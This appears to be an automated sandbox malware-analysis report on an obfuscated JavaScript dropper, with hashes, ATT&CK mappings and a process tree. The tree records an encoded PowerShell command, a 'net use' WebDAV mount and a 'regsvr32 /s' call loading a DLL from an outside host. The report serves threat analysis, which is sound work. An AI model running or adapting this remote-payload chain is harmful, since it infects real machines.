b1595b2d7b5f357393635666a0ea12953b1b4120aacfb10b5d9b31d53935546a

Analysis

max time kernel
121s
max time network
130s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
27/07/2024, 15:25

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General

Target

b1595b2d7b5f357393635666a0ea12953b1b4120aacfb10b5d9b31d53935546a.js
Size

15KB
MD5

002c73bc923436229e3567c5c8e02f5d
SHA1

015114340497e712775695fb3d11b18765f8824c
SHA256

b1595b2d7b5f357393635666a0ea12953b1b4120aacfb10b5d9b31d53935546a
SHA512

a07055831de0ec321bacf94ba454ae45c87a4a06790f2badfc3743f2eba96bf2fb2c0bc6bf63a395c68ad56a51573c43720a2efb2818588727c3ad7abda522b4
SSDEEP

192:O1KvP37KSmYJt4aAivoRwIt4aAivoRVZyPPb1B:HvP3DNvoGUNvoLZyPPb3

Score

6^/10

defense_evasion execution

Malware Config

Signatures

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1792	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1792	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2544 wrote to memory of 1792	2544	wscript.exe	30
PID 2544 wrote to memory of 1792	2544	wscript.exe	30
PID 2544 wrote to memory of 1792	2544	wscript.exe	30
PID 1792 wrote to memory of 2832	1792	powershell.exe	32
PID 1792 wrote to memory of 2832	1792	powershell.exe	32
PID 1792 wrote to memory of 2832	1792	powershell.exe	32
PID 1792 wrote to memory of 2748	1792	powershell.exe	33
PID 1792 wrote to memory of 2748	1792	powershell.exe	33
PID 1792 wrote to memory of 2748	1792	powershell.exe	33
PID 1792 wrote to memory of 2748	1792	powershell.exe	33
PID 1792 wrote to memory of 2748	1792	powershell.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\b1595b2d7b5f357393635666a0ea12953b1b4120aacfb10b5d9b31d53935546a.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2544
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcACAAOwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcADMAMAA5ADQANgAxADQANAA5ADUAMgA5ADYAOAA2AC4AZABsAGwA
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1792
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\dailywebstats.com@8888\davwwwroot\
    3⤵
    PID:2832
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\dailywebstats.com@8888\davwwwroot\309461449529686.dll
    3⤵
    PID:2748

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1792-4-0x000007FEF62AE000-0x000007FEF62AF000-memory.dmp

Filesize
4KB

Download
memory/1792-5-0x000000001B610000-0x000000001B8F2000-memory.dmp

Filesize
2.9MB

Download
memory/1792-6-0x0000000001DA0000-0x0000000001DA8000-memory.dmp

Filesize
32KB

Download
memory/1792-7-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

Filesize
9.6MB

Download
memory/1792-8-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

Filesize
9.6MB

Download
memory/1792-9-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

Filesize
9.6MB

Download
memory/1792-10-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

Filesize
9.6MB

Download
memory/1792-11-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

Filesize
9.6MB

Download
memory/1792-12-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

Filesize
9.6MB

Download